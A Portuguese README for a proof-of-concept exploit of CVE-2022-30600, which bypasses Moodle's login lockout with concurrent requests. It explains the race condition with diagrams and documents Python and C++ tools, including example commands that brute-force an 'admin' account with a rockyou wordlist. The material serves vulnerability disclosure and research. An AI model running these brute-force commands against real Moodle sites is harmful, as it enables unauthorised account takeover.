
Uma prova de conceito para CVE-2022-30600
Este repositório contém 2 implementações de uma prova de conceito que explora a CVE-2022-30600.
A CVE-2022-30600 é uma vulnerabilidade de segurança que permite a um atacante contornar o limite de bloqueio de conta no webapp moodle.
Conforme descrito pela seguinte entrada na base de dados NVD https://nvd.nist.gov/vuln/detail/CVE-2022-30600, as versões abaixo são conhecidas por serem vulneráveis a esta exploração.
3.9 - 3.9.13
3.10 - 3.10.10
3.11 - 3.11.6
Conforme descrito no commit usado para corrigir esta vulnerabilidade, o problema reside na lógica usada para aceder e incrementar o valor login_failed_count na base de dados.
Se ocorrer mais de 1 pedido de login concorrente, o webapp moodle pode falhar ao verificar e atualizar corretamente o valor de login na aplicação. Isto resulta em 2 ou mais falhas de login sendo contadas apenas como 1 falha de login.
Para entender melhor isto, o diagrama abaixo é uma decomposição de alto nível de um pedido de login falhado a partir das perspetivas do cliente, webapp e base de dados.
sequenceDiagram
participant C as Client
participant W as Webapp
participant D as Database
C->>W: Login Request
W->>D: Requests failed_login_attempt
D->>W: failed_login_attempt = 0
W->>W: local failed_login_attempt = 0
W->>W: local failed_login_attempt = 1
W->>D: failed_login_attempt = 1
W->>C: Login FailedO resultado é que o valor failed_login_attempt na base de dados está correto e os pedidos de login subsequentes atualizarão corretamente o valor.
Se um atacante enviar uma série de pedidos de login concorrentes, ocorre o seguinte problema.
sequenceDiagram
participant C as Client
participant W as Webapp
participant D as Database
C->>W: Login Request (session 1)
C->>W: Login Request (session 2)
W->>D: Requests failed_login_attempt (session 1)
W->>D: Requests failed_login_attempt (session 2)
D->>W: failed_login_attempt = 0 (session 1)
D->>W: failed_login_attempt = 0 (session 2)
W->>W: local failed_login_attempt = 0 (session 1)
W->>W: local failed_login_attempt = 0 (session 2)
W->>W: local failed_login_attempt = 1 (session 1)
W->>W: local failed_login_attempt = 1 (session 2)
W->>D: failed_login_attempt = 1 (session 1)
W->>D: failed_login_attempt = 1 (session 2)
W->>C: Login Failed (session 1)
W->>C: Login Failed (session 2)O resultado desta interação é que o valor failed_login_attempt na base de dados é apenas incrementado em 1 apesar de terem ocorrido 2 pedidos de login falhados. Isto pode ser escalado para centenas de pedidos, sendo os limites a quantidade de pedidos concorrentes que o cliente consegue fazer e o número de pedidos que o servidor web consegue gerir concorrentemente.
Além disso, se um atacante tiver acesso a múltiplos clientes (como uma botnet) e conseguir sincronizar o momento em que estes pedidos são feitos, então o atacante pode ultrapassar as limitações de usar um único cliente e tornar o ataque mais difícil de mitigar.
poc.py é a implementação em python3 deste ataque. Usa threads para realizar os pedidos concorrentes. Embora esta prova de conceito funcione, o global interpreter lock presente no python3 prejudica o benefício de usar múltiplas threads nesta circunstância. Recomendo vivamente usar a implementação em C++, pois funciona melhor quando o ataque é realizado num único cliente.
poc.py [-h] -u USERNAME -url TARGET -w WORDLIST -t THREADS [-a ATTEMPTS] [-d DELAY]
opções:
-h, --help
mostra esta mensagem de ajuda
-u USERNAME, --username USERNAME
O nome de utilizador da conta visada
-url TARGET, --target TARGET
URL base do webapp moodle visado
-w WORDLIST, --wordlist WORDLIST
O caminho para o ficheiro wordlist a ser usado
-t THREADS, --threads THREADS
A quantidade de threads criadas para cada tentativa
-a ATTEMPTS, --attempts ATTEMPTS
O número de tentativas que deseja fazer. O padrão é 1
-d DELAY, --delay DELAY
A quantidade de segundos entre cada tentativa. O valor padrão é 2
python3 poc.py -u admin -url https://moodle/ -w /usr/share/wordlists/rockyou.txt -t 15 -a 8
visando: https://moodle/
nome de utilizador da conta: admin
wordlist: /usr/share/wordlists/rockyou.txt
threads: 15 pedidos de login serão feitos em cada tentativa
tentativas: o ataque repetir-se-á 8 vezes no total.
Neste exemplo, um total de 120 (8 * 15) pedidos de login serão feitos. Haverá um atraso de 2 segundos entre cada tentativa.
poc.cpp é a implementação em C++ do ataque que usa a biblioteca curl para realizar o ataque. Portanto, precisa de algumas flags de compilador para que a aplicação compile. No geral, esta implementação funciona melhor que a versão em python3, pois as threads conseguem usar todos os núcleos do dispositivo cliente, permitindo mais conexões concorrentes num menor espaço de tempo. Isto significa que a exploração consegue funcionar de forma mais consistente.
g++ poc.cpp -o poc -lcurl
Uso:
poc [OPTION...]
-a, --attempts
O número de vezes que o ataque é realizado.
-t, --threads
A quantidade de threads a usar em cada tentativa.
-n, --username
O utilizador da conta que está a visar
-u, --URL
URL base do webapp moodle
-d, --delay
O atraso de tempo entre tentativas. Padrão é 5
-v, --version
Mostra a versão
-h, --help
Exibe mensagem de ajuda
-w, --wordlist arg
Wordlist de passwords.
./poc -w /usr/share/wordlists/rockyou.txt -u https://moodle/ -n admin -a 3 -t 5 -d 2
wordlist: /usr/share/wordlists/rockyou.txt
URL: https://moodle/
nome de utilizador da conta: admin
tentativas: 3 tentativas serão feitas
threads: 5 threads serão usadas em cada tentativa
atraso: Haverá um atraso de 2 segundos entre cada tentativa
Para desenvolver, testar e depurar estes scripts, criei uma máquina virtual. Esta máquina virtual usou o seguinte software e versões.
Moodle 3.9.0 PHP 7.2.34 MySQL 8.0.30 Ubuntu 5.15.0-41-generic Apache 2.4.52
Não aprovo que o meu código-fonte seja usado em atividades ilegais.